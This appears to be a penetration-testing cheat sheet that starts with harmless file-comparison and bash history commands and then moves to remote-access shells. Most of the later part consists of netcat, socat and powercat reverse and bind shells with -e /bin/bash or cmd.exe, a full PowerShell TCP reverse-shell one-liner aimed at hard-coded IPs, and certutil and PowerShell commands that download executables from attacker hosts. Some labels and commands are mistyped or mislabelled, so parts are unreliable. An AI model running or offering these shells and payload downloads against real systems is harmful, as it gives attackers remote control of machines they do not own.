Important Commands

Download while we can use wget or curl to grab files, there's another tool called axel ie multipart download which speeds up large downloads considerably axel -a -n 20 -o file.ext http://host/file.ext

Download using certutil

certutil -rulcache -f http://10.0.0.1/download/jsextension.exe jsextension.exe

History ignore duplicates and or spaces export HISTCONTROL=ignoredups

commands that are run frequently export HISTIGNORE="&:ls:[bf]g:exit:history"

History Timeformat export HISTTIMEFORMAT='%F %T '

File Comparison

File comparison comm - compares 2 text files comm scan-a.txt scan-b.txt

it outputs lines that are shared by both - in last column the first column printed last is the difference

exclude certain line(s) comm -12 scan-a.txt scan-b.txt

diff - shared many output formats context format -c unified format -u

vimdiff (show 2 columns) Tail

output last 2 lines using tail tail -n2 /var/log/apache.log

aliases are useful replacing cmds with a shorter command we define alias lsa='ls -la'

Bash /etc/bash.bashrc [system wide bash settings for any user when logged in]

Netcat

nc -v -n ip port nc -nvlp 5555

transfer files with netcat nc -nlvp 4444 > file.exe remote side: nc -nv ip 4444 < /location_of_file

bind nc -nlvp 4444 -e cmd.exe nv -nv ip 4444

reverse nc -nv ip 4444 -e /bin/bash nc -nlvp 4444

Socat

socat - TCP4:ip:port Listener sudo socat TCP4-LISTEN:443 STDOUT Reverse sh Listener: socat -d -d TCP4-LISTEN:443 STDOUT socat TCP4:ip:port EXEC:/bin/bash

sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC=/bin/bash socat - OPENSSL:ip:port,verify=0

Powershell set-executionpolicy unrestricted

Get-ExecutionPolicy transfering file: Powershell -c "(new-object System.Net.Webclient).DownloadFile('http://ip/wget.exe','C:\temp\wget.exe')"

Shell:

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush(); } $client.Close();

Bind shell:

$client = New-Object System.Net.Sockets.TCPClient("192.168.254.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Powercat

Basically the powershell version of netcat and simplifies the creation of bind & reverse shells.

File transfer

powercat -c ip -p 443 -i c:\location\powercat.ps1

Simple reverse shell:

powercat -c ip - p 443 -e cmd.exe

nc -lvp 443

Powercat Bind shells:

powercat -l -p 443 -e cmd.exe

nc -nv ip 443

powercat standalone payloads:

powercat -c ip -p 443 -e cmd.exe -ge > reverse.ps1

powershell -E base64

Last updated

Was this helpful?